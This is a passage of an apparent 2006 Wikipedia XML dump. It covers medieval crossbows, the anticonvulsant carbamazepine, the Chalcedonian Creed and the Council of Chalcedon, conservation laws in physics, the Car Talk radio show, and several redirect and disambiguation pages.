Crossbows were actively being used in European warfare from [[800]] to [[1500]] A.D.  They supplanted bows in many European armies for a number of reasons. An expertly handled longbow had greater range, better accuracy (the &quot;arbalest&quot; or siege crossbow being the exception here), and a much faster rate of fire than an average crossbow,  but the value of the crossbow came in its simplicity: it could be used effectively after a week of training, while a comparable single-shot skill with a longbow could take years.  The use of winches allowed soldiers to use and fire weapons with a draw force far in excess of what they could have handled with a bow. In the later years of the crossbow it had enough kinetic energy to penetrate the armor of a knight with ease: some reached a draw force of nearly 350 lbf (1600 N), compared to the 60-180lbf (300-900 N) draw force for a longbow. Moreover, crossbows could be kept cocked and ready to shoot for some time with little effort, allowing crossbowmen to aim better and to &quot;cover&quot; a target area, while archers could not keep their powerful bows pulled for long periods of time.

Due to the long time required to reload a crossbow, users would sometimes make use of a [[pavise]].

[[Pope Urban II]] banned the use of crossbow against Christians in [[1097]], and the [[Second Lateran Council]] did the same for [[arbalest]]s in [[1139]]. The crossbow was seen as unchivalrous and as a threat to social order, since a peasant could kill a noble anonymously; crossbow mercenaries were usually killed immediately on capture, unlike others who might have been ransomed or set free. However, their effectiveness made them an &quot;evil&quot; no one could afford to be without, often in the form of hired foreign mercenaries.
Given the great accuracy of the crossbow, it filled many duties that [[Sniper rifle|sniper rifles]] have today.

Crossbows were eventually replaced in warfare by [[gunpowder]] weapons. Early guns had slower rates of fire and much worse accuracy than contemporary crossbows.

Modern crossbows are still used for target shooting and in some places for [[hunting]], although for the latter a person generally has to have a disability or special license to use one.  They are made of the same composite materials as modern bows.

One of the newest developments in crossbow technology is the use of the shoulder-cock. The shoulder-cock is extremely easy to use and has a fast loading time. Using a shoulder-cock, a good crossbowman could reload in under 7 seconds. The average draw force for the shoulder-cock crossbow is 100 lbf (400 N), which is low compared to other crossbows. A good example of a shoulder-cock crossbow is the FX-II crossbow.

== See also == 
*[[arbalest]]
* [[repeating crossbow]]

==External sources==
#{{note|CC}} [http://www.computersmiths.com/chineseinvention/crossbow.htm Invention of the Chinese crossbow]
#{{note|terracotta}} [http://www.geocities.com/Athens/Academy/7547/weapon.html Weapons of the terracotta army]
#{{note|SECrossbow}} [http://www.people.cornell.edu/pages/tm17/paper459.htm Paper with a brief portion discussing the origin of the Asian crossbow]

{{commons|Category:Crossbow|Crossbow}}

[[Category:Marksmanship]]
[[Category:Medieval warfare]]

[[ca:Ballesta]]
[[cs:Kuše]]
[[da:Armbrøst]]
[[de:Armbrust]]
[[es:Ballesta]]
[[fr:Arbalète (arme)]]
[[gl:Bésta]]
[[he:קשת אופקית]]
[[nl:Kruisboog]]
[[ja:クロスボウ]]
[[no:Armbrøst]]
[[pl:Kusza]]
[[pt:Besta (arma)]]
[[ru:Арбалет]]
[[sl:Samostrel]]
[[fi:Varsijousi]]
[[sv:Armborst]]
[[zh:弩]]</text>
    </revision>
  </page>
  <page>
    <title>Carbamazepine</title>
    <id>6949</id>
    <revision>
      <id>41490937</id>
      <timestamp>2006-02-27T18:48:06Z</timestamp>
      <contributor>
        <username>Abc85</username>
        <id>805780</id>
      </contributor>
      <comment>Remove father.</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;250px&quot; align=&quot;right&quot; style=&quot;border-collapse: collapse; margin: 0 0 0 0.5em&quot;
|-
| bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
[[Image:Carbamazepine.png|Carbamazepine chemical structure]]&lt;br/&gt;
''Carbamazepine''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | ''5H-dibenz(b,f)azepine-5-carboxamide ''
|- align=&quot;center&quot; style=&quot;border-bottom: 3px solid gray&quot;
| '''[[CAS number]]''' &lt;br/&gt; 298-46-4 (85756-57-6 dihydrate)
| '''[[ATC code]]'''   &lt;br/&gt; [[ATC code N03|N03]]AF01 
|-
| bgcolor=&quot;#eeeeee&quot; | [[Chemical formula]]
| bgcolor=&quot;#ddeeff&quot; | C&lt;sub&gt;15&lt;/sub&gt;H&lt;sub&gt;12&lt;/sub&gt;N&lt;sub&gt;2&lt;/sub&gt;O
|-
| bgcolor=&quot;#eeeeee&quot; | [[Molecular weight]]
| bgcolor=&quot;#ddeeff&quot; | 236.27
|-
| bgcolor=&quot;#eeeeee&quot; | [[Bioavailability]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | Metabolism
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Elimination half-life]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Excretion]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Pregnancy category (pharmaceutical)|Pregnancy category]] 
| bgcolor=&quot;#ddeeff&quot; | D
|-
| bgcolor=&quot;#eeeeee&quot; | [[Regulation of therapeutic goods|Legal status]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | Routes of administration
| bgcolor=&quot;#ddeeff&quot; | ?
|}
'''Carbamazepine''' (sold under the brand-names '''Biston'''®, '''Calepsin'''®, '''Carbatrol'''®, '''Epitol'''®, '''Equetro'''®, '''Finlepsin'''®, '''Sirtal'''®, '''Stazepine'''®, '''Tegretol'''®, '''Telesmin'''®, '''Timonil'''®) is an [[anticonvulsant]] and [[mood stabilizer|mood stabilizing]] drug, used primarily in the treatment of [[epilepsy]] and [[bipolar disorder]]. It is also used to treat [[schizophrenia]] and [[trigeminal neuralgia]].  

== Mechanisms ==
Carbamazepine and its derivatives' action mechanism is not well understood, but appears to be primarily through the [[Inhibitor|inhibition]] of [[sodium channel]] activity.

== Side-effects ==
Carbamazepine renders [[Oral contraceptive|birth control pills]] ineffective.

Common side-effects include drowsiness, motor-coordination impairment and/or upset stomach. Taken every twelve hours, the Tegretol XR® or Carbatrol® preparations can greatly increase tolerability.

Less common side-effects include blurry or double [[Visual perception|vision]] and/or the temporary or mild loss of [[blood cell]]s or [[platelet]]s. In rare cases the latter can be life-threatening if unnoticed, so frequent blood tests are required during the first few months' use, followed by three or four tests per year. There are also reports of a bizarre auditory side-effect, whereby patients perceive musical notes about a [[semitone]] lower than their actual pitch (so [[middle C]] would be heard as the note [[Scientific pitch notation|B3]] just below it, etc).

[[Oxcarbazepine]], a derivative of carbamazepine, has fewer and less serious side-effects.

== History ==
Carbamazepine was discovered by chemist Walter Schindler at J.R. Geigy AG (now part of [[Novartis]]) in [[Basel]], [[Switzerland]], in 1953. Schindler then synthesized the drug in 1960, before its anti-epileptic properties had been discovered.

Carbamazepine was first marketed as a drug to treat [[trigeminal neuralgia]] in 1962. It has been used as an anticonvulsant in the [[United Kingdom|UK]] since 1965, but only approved in the [[United States|U.S.]] since 1974.

== References ==
* W Schindler and F Häfliger, ''Über derivate des iminodibenzyls'', [[Helvetica Chimica Acta]] 1954, 37:472-483

== External links ==
* [http://www.carbatrol.com Carbatrol website]
* [http://www.rxlist.com/cgi/generic/carbam.htm TA warning]
* [http://www.psycheducation.org/depression/meds/carbamazepine.htm Carbamazepine overview] from PsychEducation.org
* [http://patimg1.uspto.gov/.piw?Docid=02948718&amp;homeurl=http%3A%2F%2Fpatft.uspto.gov%2Fnetacgi%2Fnph-Parser%3FSect1%3DPTO1%2526Sect2%3DHITOFF%2526d%3DPALL%2526p%3D1%2526u%3D%2Fnetahtml%2Fsrchnum.htm%2526r%3D1%2526f%3DG%2526l%3D50%2526s1%3D2,948,718.WKU.%2526OS%3DPN%2F2,948,718%2526RS%3DPN%2F2,948,718&amp;PageNum=&amp;Rtype=&amp;SectionNum=&amp;idkey=2A0649DBED16 U.S. Patent 2,948,718, August 1960]

{{Anticonvulsants}}


&lt;!--Categories--&gt;
[[Category:Carboxamides]]
[[Category:Anticonvulsants]]
[[Category:Mood stabilizers]]

&lt;!--Other languages--&gt;
[[de:Carbamazepin]]
[[fr:Carbamazépine]]
[[hu:Karbamazepin]]
[[pt:Carbamazepina]]
[[ru:Карбамазепин]]
[[nl:Tegretol]]</text>
    </revision>
  </page>
  <page>
    <title>CCITT</title>
    <id>6950</id>
    <revision>
      <id>31052609</id>
      <timestamp>2005-12-12T14:52:29Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;ITU-T&quot; +&quot;ITU Telecommunication Standardization Sector&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[ITU Telecommunication Standardization Sector]]</text>
    </revision>
  </page>
  <page>
    <title>CCIR</title>
    <id>6951</id>
    <revision>
      <id>15905060</id>
      <timestamp>2004-01-22T01:53:50Z</timestamp>
      <contributor>
        <username>LittleDan</username>
        <id>8995</id>
      </contributor>
      <text xml:space="preserve">#redirect [[ITU-R]]</text>
    </revision>
  </page>
  <page>
    <title>Chang San-feng</title>
    <id>6953</id>
    <revision>
      <id>15905061</id>
      <timestamp>2003-09-01T03:29:39Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#Redirect [[Zhang Sanfeng]]</text>
    </revision>
  </page>
  <page>
    <title>Chalcedonian Creed</title>
    <id>6955</id>
    <revision>
      <id>38413278</id>
      <timestamp>2006-02-06T03:59:26Z</timestamp>
      <contributor>
        <ip>71.107.43.37</ip>
      </contributor>
      <text xml:space="preserve">The '''Chalcedonian Creed''' was adopted at the [[Council of Chalcedon]] in [[451]] in [[Asia Minor]]. That Council of Chalcedon is one of the seven [[ecumenical council]]s accepted by Eastern Orthodox, Catholic, and many Protestant Christian churches.  It is the first Council ''not'' recognized by any of the [[Oriental Orthodoxy|Oriental Orthodox]] churches.

The '''Chalcedonian Creed''' was written amid controversy between the western and eastern churches over the meaning of the [[incarnation]] (see [[Christology]]), the ecclesiastical influence of the [[Byzantine emperor|emperor]], and the supremacy of the [[Pope|Roman Pope]]. The western churches readily accepted the creed, but some eastern churches did not. 

The creed became standard orthodox doctrine, while the [[Coptic Church|church of Alexandria]] dissented, holding to [[Cyril of Alexandria|Cyril]]'s formula of the oneness of Christ’s nature as the incarnation of God the Word. This church felt that this understanding required that the creed should have stated that Christ be acknowledged &quot;'''from''' two natures&quot; rather than &quot;'''in''' two natures.&quot; This [[Miaphysitism|miaphysite]] position, often ''erroneously'' known as &quot;[[Monophysitism]]&quot;, formed the basis for the distinction from other churches of the [[Coptic church]] of Egypt and [[Ethiopian Orthodox Church|Ethiopia]] and the &quot;[[Jacobite Orthodox Church|Jacobite]]&quot; churches of [[Syriac Orthodox Church|Syria]] and [[Armenian Orthodox Church|Armenia]] (see [[Oriental Orthodoxy]]). Over the last 30 years, however, the miaphysite position has been accepted as a '''mere restatement''' of orthodox belief by [[Ecumenical patriarch|Patriarch Bartholemew]] of the [[Eastern Orthodox Church]] and by [[Pope]] [[Pope John Paul II|John Paul II]] of the [[Roman Catholic Church]].

-----
An English translation:

:''We, then, following the holy Fathers, all with one consent, teach men to confess one and the same Son, our Lord Jesus Christ, the same perfect in Godhead and also perfect in manhood;''&lt;br&gt;
:''truly God and truly man, of a reasonable [rational] soul and body;''&lt;br&gt;  
:''consubstantial [co-essential] with the Father according to the Godhead, and consubstantial with us according to the Manhood;''&lt;br&gt;
:''in all things like unto us, without sin;''&lt;br&gt;
:''begotten before all ages of the Father according to the Godhead, and in these latter days, for us and for our salvation, born of the Virgin Mary, the Mother of God, according to the Manhood;''&lt;br&gt; 
:''one and the same Christ, Son, Lord, only begotten, to be acknowledged in two natures, inconfusedly, unchangeably, indivisibly, inseparably;''&lt;br&gt; 
:''the distinction of natures being by no means taken away by the union, but rather the property of each nature being preserved, and concurring in one Person and one Subsistence, not parted or divided into two persons, but one and the same Son, and only begotten, God the Word, the Lord Jesus Christ;''&lt;br&gt;  
:''as the prophets from the beginning [have declared] concerning Him, and the Lord Jesus Christ Himself has taught us, and the Creed of the holy Fathers has handed down to us.''

[[Category:Ancient Roman Christianity]]

[[cs:Chalkedonské vyznání]]
[[ja:&amp;#12459;&amp;#12523;&amp;#12465;&amp;#12489;&amp;#12531;&amp;#20449;&amp;#26465;]]
[[ro:Crezul Calcedonian]]</text>
    </revision>
  </page>
  <page>
    <title>Conservation law</title>
    <id>6956</id>
    <revision>
      <id>41633121</id>
      <timestamp>2006-02-28T17:48:20Z</timestamp>
      <contributor>
        <username>Yevgeny Kats</username>
        <id>733501</id>
      </contributor>
      <comment>/* Exact laws */ no conservation of information (see Talk)</comment>
      <text xml:space="preserve">In [[physics]], a '''conservation law''' states that a particular measurable property of an isolated physical system does not change as the system evolves. 

== Exact laws ==

The following is a partial listing of conservation laws that have never been shown to be inexact.

* [[Conservation of energy]]
* [[Momentum#Conservation_of_momentum|Conservation of linear momentum]]
* [[Angular_momentum#Conservation_of_angular_momentum|Conservation of angular momentum]]
* [[Electric_charge#Conservation_of_charge|Conservation of electric charge]]
* conservation of [[color charge]]
* [[Conservation of probability]]

== Approximate conservation laws ==

There are also approximate conservation laws.  These are approximately true in particular situations, such as low speeds, short time scales, or certain interactions.  

* [[Conservation of mass]]
* Conservation of [[baryon number]] (See [[chiral anomaly]])
* Conservation of [[flavor (particle physics)|flavor]] (violated by the [[weak interaction]])
* Conservation of [[parity (physics)|parity]]
* [[CP symmetry]]

== Philosophy of conservation laws ==

[[Noether's theorem]] expresses the equivalence which exists between conservation laws and the [[invariance]] of physical laws with respect to certain transformations (typically called &quot;[[symmetry|symmetries]]&quot;) for systems which obey the [[Principle of least action]] and hence having a [[Lagrangian]] and a Hamiltonian (See [[Classical mechanics]], [[Hamiltonian mechanics]] for details). For instance, [[time invariance]] implies that energy is conserved, [[translation invariance]] implies that momentum is conserved, and [[rotation invariance]] implies that angular momentum is conserved.

*''Things that remain unchanged, in the midst of change''
The idea that some things remain unchanging throughout the evolution of the universe has been motivating philosophers and scientists alike for a long time. 

In fact, quantities that are conserved, the ''[[invariant (physics)|invariants]]'', seem to preserve what some would like to call some kind of a 'physical reality' and seem to have a more meaningful existence than many other physical quantities. These laws bring a great deal of simplicity into the structure of a physical theory. They are the ultimate basis for most solutions of the equations of [[physics]].

== See also ==

* [[Continuity equation]]
* [[Philosophy of physics]]

[[Category:Conservation laws| ]]

&lt;!-- interwiki --&gt;

[[ca:Llei de conservació]]
[[de:Erhaltungssatz]]
[[el:Νόμος Διατήρησης]]
[[fr:Loi de conservation]]
[[id:Hukum kekekalan]]
[[it:Leggi di conservazione]]
[[hu:Megmaradási tétel]]
[[nl:Behoudswet]]
[[ja:保存則]]
[[pl:Prawa zachowania]]
[[ru:Закон сохранения]]
[[sk:Zákony zachovania]]
[[sl:Ohranitveni zakon]]
[[sv:Konserveringslag]]
[[th:กฎการอนุรักษ์]]
[[uk:Закони збереження]]
[[zh:守恒定律]]</text>
    </revision>
  </page>
  <page>
    <title>Country codes</title>
    <id>6958</id>
    <revision>
      <id>15905065</id>
      <timestamp>2004-12-05T07:45:50Z</timestamp>
      <contributor>
        <username>Secfan</username>
        <id>62238</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Country code]]</text>
    </revision>
  </page>
  <page>
    <title>Chord</title>
    <id>6959</id>
    <revision>
      <id>39897932</id>
      <timestamp>2006-02-16T17:42:33Z</timestamp>
      <contributor>
        <username>Paolo Liberatore</username>
        <id>203600</id>
      </contributor>
      <comment>added [[Chord (graph theory)]]</comment>
      <text xml:space="preserve">'''Chord''' may mean:

* [[Chord (geometry)]], a line segment joining two points on a curve
* [[Chord (graph theory)]], an edge joining two not-adjacent nodes in a cycle
* [[Chord (music)]], three or more notes sounded simultaneously
* [[Chord (aircraft)|Chord (aviation)]], the distance between the front and back of a wing, measured in the direction of the normal airflow. The term chord was selected due to the curved nature of the wing's surface.
* [[Chord project|Chord (computing)]], a distributed hash table protocol
* [[Chord (concurrency)|Chord (computing)]], a concurrency construct in some object-oriented programming languages

'''Chord''' may also refer to:

* [[Mouse chording]] or a [[chorded keyboard]], where multiple buttons are held down simultaneously to produce a specific action

{{disambig}}

[[de:Dreiklang]]</text>
    </revision>
  </page>
  <page>
    <title>Car Talk</title>
    <id>6960</id>
    <revision>
      <id>41855338</id>
      <timestamp>2006-03-02T04:15:31Z</timestamp>
      <contributor>
        <ip>128.59.147.210</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Car_Talk.gif|right]]
'''''Car Talk''''' is a [[radio]] [[talk show]] broadcast weekly on [[National Public Radio]] stations throughout the [[United States]] and elsewhere. Its subjects are cars and car repair, and it often takes humorous turns.

As a call-in radio show, listeners call in with [[automobile|car]]-related questions. The majority of callers are seeking advice of a diagnostic nature. The hosts, [[Tom Magliozzi|Tom]] and [[Ray Magliozzi]] (aka Click and Clack, the [[Tappet]] Brothers) listen to the caller describe the symptoms of his or her malfunctioning car, often asking them to replicate strange sounds, then attempt to identify the cause of the malfunction. While the hosts pepper their call-in sessions with jokes directed at both the caller and at themselves, their knowledge of automobiles is extensive and they are usually able to arrive at a diagnosis and give helpful advice.

Car Talk was first broadcast in Boston in 1977. It was picked up nationally by NPR ten years later.

Car Talk's [[theme song]] is &quot;Dawggy Mountain Breakdown&quot; by [[David Grisman]].

==Features==
A recurring feature is &quot;Stump the Chumps&quot;, in which Tom and Ray revisit a caller from a previous show and find out what effect, if any, their advice has had (assuming the caller followed it at all).

A similar feature was started in May 2001 and entitled &quot;Where Are They Now, Tommy?&quot; Like &quot;Stump the Chumps&quot;, they revisited a previous caller; but the difference with &quot;Where Are They Now...?&quot; was best described by Tom as &quot;an excuse to talk to some of the previous wack jobs we've had on the show&quot;. The feature was short-lived, lasting only a few months. Some hold that this was because they had run out of callers from Alaska to harass.

Celebrities have been callers as well. Examples include [[Morley Safer]], [[Ashley Judd]], [[Gordon Elliott]], and at least one [[space shuttle]] [[astronaut]]. There have been numerous appearances from NPR personalities, including [[Bob Edwards]], [[Susan Stamberg]], [[Scott Simon]], [[Ray Suarez]], [[Will Shortz]], and commentator/author [[Daniel Pinkwater]]. On one occasion, the show featured an in-studio guest: [[Martha Stewart]], whom Click and Clack called &quot;Margaret&quot; twice.

== Hosts ==
''Car Talk''&lt;nowiki&gt;'&lt;/nowiki&gt;s hosts are brothers [[Ray Magliozzi|Ray]] and [[Tom Magliozzi]] (aka, &quot;Click and Clack, The Tappet Brothers&quot;), two long-time [[car mechanic]]s.  Ray Magliozzi has a degree in general science from [[Massachusetts Institute of Technology|MIT]], while Tom has an undergraduate degree in chemical engineering from MIT, an MBA, and a Ph.D. in management from Boston University.

The duo, usually led by Tom, are known for long rants on the evils of the [[internal combustion engine]], the state of [[Montana]], people who talk on [[cell phones]] while driving, women named Donna (who always seem to drive [[Camaro]]s), the use (or misuse) of the [[English language]], and just about anything else, including themselves. They have a laid-back humorous approach to cars, car repair, [[cup holder]] competition amongst car makers, cats, dogs, lawyers, car mechanics, mini-vans, [[SUV]]s, and most everything else. They often cast a critical insider's eye (jaundiced, mostly) towards the auto industry. Tom and Ray are generally committed to the values of defensive driving and environmentalism. In the late [[1990s]] they pioneered an effort to rid the world of [[French language|French]] pronunciations of words, intentionally pronouncing many words phonetically such as &quot;[[Chevrolet|Chev-ro-lette]].&quot;

Click and Clack operate the &quot;Good News Garage&quot; in [[Cambridge, Massachusetts]] just a few blocks north of the MIT campus.  Their offices are located nearby at the corner of JFK St. and Brattle St. in [[Harvard Square]], marked as &quot;Dewey, Cheetham and Howe&quot;, the law firm they reference on-air.

The two were commencement speakers at MIT in 1999.

==Humor and other quirks==

The show is divided into &quot;three halves.&quot; The show opens with a comedic monologue, followed by eight call-in sessions.  During the winter shows, a contest called the &quot;Puzzler&quot; takes place, in which a puzzle (sometimes car-related, often not) is presented. The answer to the previous week's Puzzler is given during the second half of the show, and a new puzzler is given during the third half.

The humor of ''Car Talk'' also extends into the end credits.  The show is produced under the Magliozzis' corporate banner, [[Dewey, Cheetham, and Howe]], a common lawyer joke.  After listing (and lampooning) the actual staff of ''Car Talk'' (including their producer, Doug &quot;The Subway Fugitive,&quot; &quot;Not a Slave to Fashion,&quot; &quot;Bongo Boy&quot; Berman),  the brothers list a long series of unusual names. &quot;Paul Murky of Murky Research&quot;, assisted by statistician &quot;Marge Innovera&quot; (margin of error), and company chauffeur Pikop Andropov (pick up and drop off) are only a few of a long series of perennial &quot;staffers&quot; in the ''Car Talk'' credits.

== External links ==
*[http://www.cartalk.com/ Car Talk website]
*[http://www.cartalk.com/content/about/credits/credits.html The complete listing of all Car Talk gag credits]
*[http://www.cartalk.com/content/about/history/ Car Talk History]
{{wikiquote}}

[[Category:Automobiles]]
[[Category:National Public Radio]]
[[Category:United States radio programs]]
[[tr:Car Talk]]</text>
    </revision>
  </page>
  <page>
    <title>Council of Chalcedon</title>
    <id>6962</id>
    <revision>
      <id>42096328</id>
      <timestamp>2006-03-03T20:25:26Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ca Modifying: ro</comment>
      <text xml:space="preserve">{{Ecumenical council|
council_name=Council of Chalcedon|
council_date=[[451]]|
accepted_by=[[Catholicism]], [[Anglicanism]], [[Eastern Orthodoxy]], [[Lutheranism]]|
previous=[[Council of Ephesus]]|
next=[[Second Council of Constantinople]]|
convoked_by=Emperor [[Marcian]]|
presided_by=[[Paschanius]] (papal legate)|
attendance=500|
topics=[[Eutyches|Eutychian]] [[monophysitism]], divine and human nature of [[Jesus]], the judgments issued at the so-called &quot;[[Robber Council of Ephesus]]&quot; in [[449]]|
documents=[[Chalcedonian Creed]], condemnations of [[Eutyches]] and [[Dioscorus of Alexandria|Dioscorus]], 28 canons
}}
The '''Council of Chalcedon''' was an [[ecumenical council]] that took place from [[October 8]]&amp;ndash;[[November 1]], [[451]] at [[Chalcedon]], a city of [[Bithynia]] in [[Asia Minor]].  It is the fourth of the first seven Ecumenical Councils in [[Christianity]], and is therefore recognized as infallible in its [[dogmatic definition]]s by the [[Roman Catholic Church|Roman Catholic]] and [[Eastern Orthodoxy|Eastern Orthodox]] churches.  It repudiated the [[Eutyches|Eutychian]] doctrine of [[monophysitism]], and set forth the [[Chalcedonian Creed]], which describes the full humanity and full divinity of [[Jesus]], the second person of the [[Trinity|Holy Trinity]].

==Historical background==
===Relics of Nestorianism===
After the [[Council of Ephesus]] had condemned [[Nestorianism]], there remained a conflict between [[patriarch]]s John of Antioch and [[Cyril of Alexandria]]. Cyril claimed that John remained Nestorian in outlook, while John claimed that Cyril held to the [[Apollinarianism|Apollinarian]] heresy. The two settled their differences under the mediation of the bishop of Beroea, Acacius, on [[April 12]], [[433]]. In the following year, [[Theodoret]] of [[Cyrrhus]] assented to this formula as well, apparently putting a rest to Nestorianism forever.

However, the works of two long dead [[Antioch]]ean theologians, [[Diodorus of Tarsus]] and [[Theodore of Mopsuestia]] were at this time translated into [[Syriac]]. By the intervention of [[Patriarch Proclus of Constantinople]], the two theologians were condemned throughout the East, but this situation would later provide the material for the [[Second Council of Constantinople]] some hundred years later.

===Eutychian controversy===
About two years after [[Cyril of Alexandria]]'s death in [[444]], an aged [[monk]] from Constantinople named [[Eutyches]] began teaching a subtle variation on the traditional [[Christology]] in an attempt (as he described in a letter to [[Pope Leo I]] in [[448]]) to stop a new outbreak of [[Nestorianism]]. He claimed to be a faithful follower of Cyril's teaching, which was declared orthodox in the Union of 432.

Cyril had taught that &quot;There is only one ''physis'', since it is the Incarnation, of God the Word.&quot; Cyril had apparently understood the [[Greek (language)|Greek]] word ''physis'' to mean approximately what the [[Latin]] word ''persona'' (person) means, while most Greek theologians would have interpreted that word to mean ''natura'' (nature). Thus, many understood Eutyches to be advocating a sort of reversal of [[Arianism]] -- where Arius had denied the divine nature of [[Jesus]], Eutyches seemed to be denying his human nature. (Cyril's orthodoxy was not called into question, since the Union of 433 had explicitly spoken of two ''physes'' in this context.)

Pope Leo I, from Rome, wrote that Eutyches' error seemed to be more from a lack of skill on the matters than from malice. Further, his side of the controversy tended not to enter into arguments with their opponents, which prevented the misunderstanding from being uncovered. Nonetheless, due to the high regard in which Eutyches was held (second only to the Patriarch of Constantinople in the East), his teaching spread rapidly throughout the east. 

In [[November]] [[447]], during a local [[synod]] in Constantinople, Eutyches was denounced as a heretic by the bishop of [[Dorylaeum]], Eusebius, with the demand that he be removed from his office. [[Flavian of Constantinople]] did not wish to consider the matter, due to the great prestige that Eutyches enjoyed, but finally relented, and Eutyches was condemned as a heretic by the synod. However, the emperor [[Theodosius II]] and the Pope of [[Alexandria]],  [[Dioscorus of Alexandria|Dioscorus]], did not accept the decision of the synod because Eutyches had repented and confessed his orthodoxy. Dioscorus held his own synod reinstating Eutyches, and the emperor called a council to be held in [[Ephesus]] in [[449]], inviting [[Pope Leo I]], who agreed to be represented by three legates.

==&quot;Latrocinium&quot; of Ephesus==
By this time, the pope had received communications from Flavian, and had himself determined that Eutyches was in the wrong and that the deposition in 447 was just. He wrote to the council, telling them that they must accept his judgment on the matter, but he left the punishment of Eutyches open for discussion. It appears Pope Leo I was unaware of the confession made to Pope Dioscorus of Alexandria.

Theodosius' council convened on [[August 8]], [[449]], with some 130 bishops in attendance. Dioscorus presided by command of the emperor. The emperor denied the vote to any bishop who had voted in Eutyches' deposition two years earlier. As a result, there was a near-unanimous support for Eutyches, and Flavian was himself deposed and exiled. He died shortly thereafter. The papal legates left with a letter for the pope from Flavian, and in a second session, without papal representation, several more bishops were deposed, including Ibas of Edessa, Irenaeus of Tyre (a close personal friend of Nestorius), Domnus of Antioch, and Theodoret.

The decisions of this council threatened [[schism]] between the East and the West, since they went plainly against the papal declaration, although it was never read. The pope dubbed this council a &quot;synod of robbers&quot; &amp;mdash; [[Latrocinium]] &amp;mdash; and refused to accept its pronouncements. His letter was not read at the council and the papal legates left with it as well and it is for this reason that he called it so.

==Convocation and session==
The situation continued to deteriorate, with the pope demanding the convocation of a new council and the emperor refusing to budge, all the while appointing bishops in agreement with Dioscorus. All this changed dramatically with the death of Theodosius II and the elevation of [[Marcian]] to the imperial throne, for Marcian was a defender of the doctrine of Flavian and Leo.

Marcian agreed to hold a new council, but not in [[Italy]], as the pope had requested, but rather in the East, but he invited the pope to preside in person. He had the exiled bishops returned to their dioceses, and had the body of Flavian brought to the capital to be buried in honor.

The council was called to meet at [[Nicaea]], but was moved at the last moment to [[Chalcedon]], where the council opened on [[October 8]], [[451]]. The papal legate [[Paschanius]] was sent to preside. Leo himself sent a letter to the council, condemning the work of the &quot;latrocinium&quot; and indicating that the correct doctrine about the Incarnation could be found in his previous letter to Flavian. 

Attendance at this council was very high, some 500 bishops. Paschanius refused to give Dioscorus (who had carried out an [[excommunication]] of the pope in the period leading up to the council) a seat at the council, and as a result, he was moved to the nave of the church. Paschanius further ordered the reinstatement of Theodoret and that he be given a seat, but this move caused such an uproar among the council fathers, that Theodoret also sat in the nave, though he was given a vote in the proceedings, which began with a trial of Dioscorus.

Marcian wished to bring proceedings to a more speedy end, and asked the council to make a pronouncement on the doctrine of the Incarnation before continuing the trial. The council fathers, however, felt that no new creed was necessary, and that the doctrine had been laid out clearly in Leo's letter to Flavian, by  then called &quot;The Tome&quot;[http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-94.htm#P4832_968914]. The second day of the council ended with shouts from the bishops, &quot;It is [[Saint Peter|Peter]] who says this through Leo. This is what we all of us believe. This is the faith of the Apostles. Leo and Cyril teach the same thing.&quot;

The council continued with Dioscorus' trial, but he refused to appear before the assembly. As a result, he was condemned unanimously (though the Egyptian bishops seem to have been intimidated in this), and all of his decrees were declared null. Marcian responded by exiling Dioscorus. All of the bishops were then asked to sign their assent to the Tome, but a group of thirteen Egyptians refused, saying that they would assent to &quot;the traditional faith&quot;. As a result, the emperor's commissioners decided that a creed would indeed be necessary and presented a text to the fathers. No consensus was reached, and indeed the text has not survived to the present.

Paschanius threatened to return to Rome to reassemble the council in Italy. Marcian agreed, saying that if a clause were not added to the creed supporting Leo's doctrine, the bishops would have to relocate. The bishops relented and added a clause, saying that, according to the decision of Leo, in Christ there are two natures united, inconvertible [natures], inseparable [natures].

The work of the council was completed by a series of 30[http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-105.htm#P4958_1022711] disciplinary [[canon law|canons]]. #1 states all canons of previous councils shall remain in force, specific councils were clarified by [[Quinisext Council]] canon 2, #2 states that those who [[simony|buy their office]] are [[anathema]], #3 prohibits bishops from engaging in business, #4 bishops were given authority over the monks in their dioceses, with the right to permit or forbid the foundation of new monasteries, #5 travelling bishops are subject to canon law,  #6 the clergy were forbidden to change dioceses or #7 to serve in the military or #10 to belong to multiple churches, #8 the poorhouses are under the jurisdiction of the bishop, #9 limits the ability to accuse a bishop of wrong doing, #11 regards letters of travel for the poor, #12 no province shall be divided for the purposes of creating another church, #13 no clergy shall be received by others without a letter of recommendation, #14 regards wives and children of [[cantors]] and [[lectors]], #15 a [[deaconess]] must be at least 40, #16 [[monks]] and [[nuns]] are forbidden to marry on pain of [[excommunication]], #17 rural parishes cannot change bishops, #18 conspiring forbidden, #19 twice a year the bishops shall conduct a [[synod]], #20 lists exemptions for those who have been driven to another city, #21 says an accuser of a bishop shall be suspect before the bishop, #22 makes it illegal to seize the goods of a dead bishop, #23 allows the expulsion of outsiders who cause trouble in Constantinople, #24 [[monasteries]] are permanent, #25 a new bishop shall be assigned within 3 months, #26 churches shall have a steward from among the congregation to monitor church-business, #27 forbidden to carry off women under pretense of marriage (eloping), #28 grants equal privileges (isa presbeia) to Constantinople as of Rome because Constantinople is the [[New Rome]] as renewed by canon 36 of the [[Quinisext Council]] (the [[papal legate]]s were not present for the vote on this canon, and protested it afterwards), #29 states a bishop cannot 